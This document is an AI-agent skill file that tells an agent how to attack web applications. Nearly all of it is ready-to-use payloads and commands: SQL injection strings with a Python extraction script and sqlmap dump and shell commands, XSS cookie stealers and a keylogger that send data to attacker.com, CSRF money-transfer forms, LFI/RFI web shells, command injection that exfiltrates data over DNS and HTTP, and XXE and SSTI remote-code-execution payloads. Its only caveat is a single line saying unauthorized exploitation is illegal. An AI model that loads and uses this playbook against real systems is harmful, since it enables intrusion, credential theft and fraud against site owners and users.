Imported from harezadmm/hermes-brutal-mod (
skills/Security/web-exploitation/SKILL.md). Install upstream withnpx skills add harezadmm/hermes-brutal-mod --skill web-exploitation. Copyright stays with the author.
Web Exploitation
Use when user requests web application attacks: SQL injection, XSS, CSRF, file inclusion, command injection, or other OWASP Top 10 vulnerabilities.
Trigger Conditions
- SQL injection testing/exploitation
- Cross-Site Scripting (XSS) attacks
- CSRF token bypass
- Local/Remote File Inclusion
- Command injection
- Directory traversal
- Authentication bypass
- Session hijacking
SQL Injection (SQLi)
Manual Detection
# Basic SQLi tests
' OR '1'='1
" OR "1"="1
' OR '1'='1' --
' OR '1'='1' #
') OR ('1'='1
1' OR '1'='1
# Time-based detection
' OR SLEEP(5)--
' OR BENCHMARK(10000000,MD5('test'))--
' WAITFOR DELAY '0:0:5'--
# Error-based detection
'
"
`
')
")
`)
Union-Based SQLi
-- Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- Continue until error, then subtract 1
-- Union select with NULL placeholders
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Continue until no error
-- Find injectable columns
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
-- Extract data
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Boolean-Based Blind SQLi
-- Test condition
' AND 1=1-- (True - normal response)
' AND 1=2-- (False - different response)
-- Extract database name length
' AND LENGTH(DATABASE())>5--
' AND LENGTH(DATABASE())>10--
-- Binary search to find exact length
-- Extract character by character
' AND SUBSTRING(DATABASE(),1,1)='a'--
' AND SUBSTRING(DATABASE(),1,1)='b'--
-- Continue for each character
-- Automate with Python
import requests
import string
url = "http://target.com/page?id=1"
database = ""
for pos in range(1, 20):
for char in string.printable:
payload = f"' AND SUBSTRING(DATABASE(),{pos},1)='{char}'--"
r = requests.get(url + payload)
if "Success" in r.text:
database += char
print(f"Database: {database}")
break
Time-Based Blind SQLi
-- MySQL
' AND IF(1=1, SLEEP(5), 0)--
' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--
-- PostgreSQL
' AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- SQL Server
' IF (1=1) WAITFOR DELAY '0:0:5'--
-- Oracle
' AND CASE WHEN (1=1) THEN dbms_lock.sleep(5) ELSE NULL END--
SQLMap (Automated)
# Basic scan
sqlmap -u "http://target.com/page?id=1"
# POST request
sqlmap -u "http://target.com/login" --data "username=admin&password=test"
# Cookie-based
sqlmap -u "http://target.com/profile" --cookie "PHPSESSID=abc123"
# Dump database
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --columns
sqlmap -u "http://target.com/page?id=1" -D database_name -T users -C username,password --dump
# Get shell
sqlmap -u "http://target.com/page?id=1" --os-shell
# Risk and level
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# Tamper scripts (WAF bypass)
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase
SQLi WAF Bypass
-- Comment obfuscation
'/**/OR/**/1=1--
'/*!50000OR*/1=1--
-- Case variation
' Or 1=1--
' oR 1=1--
' UnIoN SeLeCt--
-- Encoding
' %4f%52 1=1-- (URL encoding)
' OR 1=1-- (HTML encoding)
-- Whitespace alternatives
'%09OR%091=1-- (Tab)
'%0AOR%0A1=1-- (Newline)
-- Equivalent functions
SUBSTRING() -> SUBSTR() -> MID()
ASCII() -> ORD()
BENCHMARK() -> SLEEP()
Cross-Site Scripting (XSS)
Reflected XSS
<!-- Basic payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<!-- Event handlers -->
<input type="text" value="test" onfocus="alert('XSS')" autofocus>
<select onfocus="alert('XSS')" autofocus>
<textarea onfocus="alert('XSS')" autofocus>
<keygen onfocus="alert('XSS')" autofocus>
<!-- Without parentheses -->
<svg/onload=alert`XSS`>
<script>alert`XSS`</script>
<!-- Without spaces -->
<svg/onload=alert(1)>
<iframe/src="javascript:alert(1)">
Stored XSS
<!-- Comment/post payloads -->
<script>
// Steal cookies
fetch('http://attacker.com/steal?c=' + document.cookie);
</script>
<script>
// Keylogger
document.onkeypress = function(e) {
fetch('http://attacker.com/log?key=' + e.key);
}
</script>
<script>
// Create admin user
fetch('/admin/create-user', {
method: 'POST',
body: 'username=hacker&password=hacked&role=admin'
});
</script>
DOM-Based XSS
// Vulnerable code
var name = location.hash.substring(1);
document.write("Hello " + name);
// Exploit
http://target.com/#<script>alert('XSS')</script>
// Another example
var search = new URLSearchParams(location.search).get('q');
eval(search);
// Exploit
http://target.com/?q=alert('XSS')
XSS WAF Bypass
<!-- Case variation -->
<ScRiPt>alert('XSS')</sCrIpT>
<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('XSS')</script>
<script>eval('\x61lert(1)')</script>
<!-- Alternative tags -->
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>">
<!-- Polyglot -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<!-- JSFuck (JavaScript with only []()!+ characters) -->
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
XSS Cookie Stealer
// Simple stealer
<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>
// Stealthier
<script>
var img = new Image();
img.src = 'http://attacker.com/log?c=' + btoa(document.cookie);
</script>
// With localStorage/sessionStorage
<script>
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage
})
});
</script>
XSS Beef Hook
<!-- BeEF (Browser Exploitation Framework) -->
<script src="http://attacker.com:3000/hook.js"></script>
<!-- Once hooked, attacker can:
- Take screenshots
- Log keystrokes
- Redirect browser
- Inject iframes
- Perform social engineering
- Exploit browser vulnerabilities
-->
Cross-Site Request Forgery (CSRF)
Basic CSRF Attack
<!-- GET request CSRF -->
<img src="http://bank.com/transfer?to=attacker&amount=1000">
<!-- POST request CSRF -->
<form action="http://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>
document.getElementById('csrf').submit();
</script>
<!-- AJAX CSRF -->
<script>
fetch('http://bank.com/transfer', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({to: 'attacker', amount: 1000})
});
</script>
CSRF Token Bypass
// 1. Token not validated on backend
// Just remove the token parameter
// 2. Token validation can be bypassed with empty value
csrf_token=
// 3. Token is in URL (GET) instead of POST
// Steal token via Referer header
// 4. Use victim's session to fetch token, then use it
fetch('/profile')
.then(r => r.text())
.then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var token = doc.querySelector('input[name="csrf_token"]').value;
// Now use stolen token
fetch('/transfer', {
method: 'POST',
body: 'csrf_token=' + token + '&to=attacker&amount=1000'
});
});
Local File Inclusion (LFI)
Basic LFI
# Linux
?page=../../../../etc/passwd
?page=../../../../etc/shadow
?page=../../../../var/log/apache2/access.log
?page=../../../../var/www/html/config.php
# Windows
?page=..\..\..\..\windows\system32\drivers\etc\hosts
?page=..\..\..\..\windows\win.ini
?page=..\..\..\..\inetpub\wwwroot\web.config
LFI Bypass Techniques
# Null byte (PHP < 5.3)
?page=../../../../etc/passwd%00
# URL encoding
?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd
# Double encoding
?page=..%252F..%252F..%252F..%252Fetc%252Fpasswd
# UTF-8 encoding
?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
# Path truncation (long string)
?page=../../../../etc/passwd............[repeat dots to ~2048 chars]
# Filter bypass
?page=....//....//....//....//etc/passwd
?page=..\/..\/..\/..\/etc/passwd
LFI to RCE
Log Poisoning
# 1. Inject PHP code into Apache access log
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# 2. Include log file
?page=../../../../var/log/apache2/access.log&cmd=whoami
# SSH log poisoning
ssh '<?php system($_GET["cmd"]); ?>'@target.com
?page=../../../../var/log/auth.log&cmd=id
PHP Wrappers
# php://filter (read source code)
?page=php://filter/convert.base64-encode/resource=index.php
# Decode base64 output to see PHP source
# php://input (inject PHP code via POST)
POST /?page=php://input
Body: <?php system('whoami'); ?>
# data:// wrapper
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCR fR0VUWydjbWQnXSk7ID8%2b&cmd=id
# Base64: <?php system($_GET['cmd']); ?>
# expect:// wrapper
?page=expect://whoami
/proc/self/environ
# Inject via User-Agent, then include environ
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
?page=../../../../proc/self/environ&cmd=id
Remote File Inclusion (RFI)
Basic RFI
# Host malicious PHP file
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
python3 -m http.server 8000
# Include remote file
?page=http://attacker.com:8000/shell.php&cmd=whoami
RFI Bypass
# With null byte
?page=http://attacker.com/shell.txt%00
# With question mark (ignore extension)
?page=http://attacker.com/shell.txt?
# SMB share (Windows)
?page=\\attacker.com\share\shell.php
# FTP protocol
?page=ftp://attacker.com/shell.php
Command Injection
Basic Payloads
# Command chaining
; ls
| ls
|| ls
& ls
&& ls
# Command substitution
`whoami`
$(whoami)
# New lines
%0Als
%0Awhoami
Blind Command Injection
# Time-based detection
; sleep 10
; ping -c 10 127.0.0.1
# DNS exfiltration
; nslookup $(whoami).attacker.com
; dig $(cat /etc/passwd | base64).attacker.com
# HTTP exfiltration
; curl http://attacker.com/?data=$(whoami)
; wget http://attacker.com/$(uname -a | base64)
Bypass Filters
# Quotes
w'h'o'a'm'i
w"h"o"a"m"i
# Backslash
w\ho\am\i
# $@ variable
who$@ami
# Hex encoding
echo "whoami" | xxd -r -p
\x77\x68\x6f\x61\x6d\x69
# Base64
echo d2hvYW1p | base64 -d | bash
Directory Traversal
Basic Payloads
# Download file
?file=../../../../etc/passwd
# Different encodings
?file=....//....//....//etc/passwd
?file=..%2f..%2f..%2fetc%2fpasswd
?file=..%252f..%252f..%252fetc%252fpasswd
# Absolute path
?file=/etc/passwd
?file=/etc/shadow
# Windows
?file=C:\windows\win.ini
?file=C:\windows\system32\drivers\etc\hosts
Authentication Bypass
SQL Injection Auth Bypass
-- Login form
Username: admin' --
Password: anything
Username: admin' OR '1'='1
Password: anything
Username: ' OR 1=1--
Password: anything
-- JSON payload
{"username":"admin' OR '1'='1'--","password":"x"}
Weak Session Management
// Predictable session IDs
// If session=1000, try session=1001, 1002, etc.
// Session fixation
// Force victim to use attacker's session ID
http://target.com/login?session=attacker_session_id
Default Credentials
Common defaults:
admin:admin
admin:password
root:root
root:toor
administrator:administrator
guest:guest
user:user
test:test
XXE (XML External Entity)
Basic XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
Blind XXE (Out-of-Band)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>
<!-- evil.dtd on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
Server-Side Template Injection (SSTI)
Detection
# Test payloads
{{7*7}} # Jinja2, Twig = 49
${7*7} # FreeMarker, Velocity = 49
<%= 7*7 %> # ERB = 49
#{7*7} # Thymeleaf = 49
Jinja2 RCE
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
Pitfalls
- WAF detection: Modern WAFs block obvious payloads
- Rate limiting: Too many requests = blocked
- HttpOnly cookies: Can't steal with XSS
- CSP: Content Security Policy blocks inline scripts
- Prepared statements: Prevent SQL injection
- Legal: Exploitation without authorization is illegal
Related Skills
sqlmap: Advanced SQL injectionnetwork-scanning-recon: Find web services to testsocial-engineering: Deliver XSS payloads via phishingmalware-development: Post-exploitation after RCE